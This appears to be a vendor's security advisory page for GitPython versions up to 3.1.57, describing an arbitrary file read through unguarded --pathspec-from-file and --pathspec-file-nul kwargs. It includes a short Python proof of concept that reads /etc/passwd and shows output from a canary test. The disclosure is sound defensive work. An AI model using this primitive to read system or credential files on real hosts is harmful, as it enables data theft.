GHSA-HH9P-6WH2-4MFC

GHSA-HH9P-6WH2-4MFC is a medium-severity security vulnerability in GitPython (pip), affecting versions <= 3.1.57. It is fixed in 3.1.58.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()

IndexFile.remove() and Head.checkout() forward **kwargs into git rm and git checkout
with no guard. Passing --pathspec-from-file=<file> together with --pathspec-file-nul
makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec
error quotes it verbatim. GitPython surfaces that through GitCommandError.stderr, so the
entire contents of a caller-chosen file are returned to the caller in band.

This is the same primitive as Instance 2 of
GHSA-3f7w-8rr8-f37f - TagReference.create()
with -F, arbitrary file read returned in band - at two sites that advisory assessed and
cleared.

Prior art, and why I am filing rather than commenting

GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment
"--pathspec-from-file only reads a pathspec; no write or disclosure primitive found":

Call site git command that advisory's assessment
IndexFile.remove() rm --pathspec-from-file only reads a pathspec; no write or disclosure primitive found
IndexFile.move() mv same
HEAD.reset() reset same
HEAD.checkout() checkout same

That assessment is very nearly right, and I think that is why it held: with
--pathspec-from-file alone, Git splits on newlines and the error quotes only the first
line
, which reads as an uninteresting partial. Adding --pathspec-file-nul - a sibling flag
of the same option, and the documented way to handle paths containing newlines - makes the
whole file one pathspec.

Root cause

git/index/base.py:991-1043:

def remove(self, items, working_tree=False, **kwargs):
    ...
    removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines()   # line 1043

git/refs/head.py:237-268:

def checkout(self, force: bool = False, **kwargs: Any):
    ...
    self.repo.git.checkout(self, **kwargs)                                 # line 268

Neither has an allow_unsafe_options parameter or a check_unsafe_options() call.

Proof of concept

from git import Repo
from git.exc import GitCommandError

repo = Repo("/path/to/repo")
kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True)

try:
    repo.index.remove([], **kw)          # or: repo.heads[0].checkout(**kw)
except GitCommandError as e:
    print(e.stderr)                      # <- entire file contents

Observed on published 3.1.57, against a canary file holding three marked lines:

[PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band
       stderr: 'fatal: pathspec 'LINE1-CANARY-4242
       LINE2-SECRET-7777
       LINE3-TAIL-9999
       ' did not match any files'
[PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band
       stderr: 'error: pathspec 'LINE1-CANARY-4242
       LINE2-SECRET-7777
       LINE3-TAIL-9999
       ' did not match any file(s) known to git'
[PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses
[PASS] PRECISION: the GUARDED checkout-index leaks 0/3

The two precision controls are there so the result is about these sinks and not about the
canary being visible everywhere.

Scope correction to the table above

Of the four sites cleared with that sentence, two disclose and two do not:

Call site disclosed?
IndexFile.remove()git rm yes, full file
Head.checkout()git checkout yes, full file
HEAD.reset()git reset no - git reset does not error on unmatched pathspecs
IndexFile.move()git mv no

The two negatives are mentioned because "the dismissal was wrong" would overstate it: the
dismissal was wrong for half of what it covered.

Impact

GHSA-HH9P-6WH2-4MFC has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.1.58); upgrading removes the vulnerable code path.

Affected versions

GitPython (<= 3.1.57)

Security releases

GitPython → 3.1.58 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade GitPython to 3.1.58 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-HH9P-6WH2-4MFC? GHSA-HH9P-6WH2-4MFC is a medium-severity security vulnerability in GitPython (pip), affecting versions <= 3.1.57. It is fixed in 3.1.58.
  2. How severe is GHSA-HH9P-6WH2-4MFC? GHSA-HH9P-6WH2-4MFC has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of GitPython are affected by GHSA-HH9P-6WH2-4MFC? GitPython (pip) versions <= 3.1.57 is affected.
  4. Is there a fix for GHSA-HH9P-6WH2-4MFC? Yes. GHSA-HH9P-6WH2-4MFC is fixed in 3.1.58. Upgrade to this version or later.
  5. Is GHSA-HH9P-6WH2-4MFC exploitable, and should I be worried? Whether GHSA-HH9P-6WH2-4MFC is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-HH9P-6WH2-4MFC is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-HH9P-6WH2-4MFC? Upgrade GitPython to 3.1.58 or later.

Other vulnerabilities in GitPython

Stop the waste.
Protect your environment with Kodem.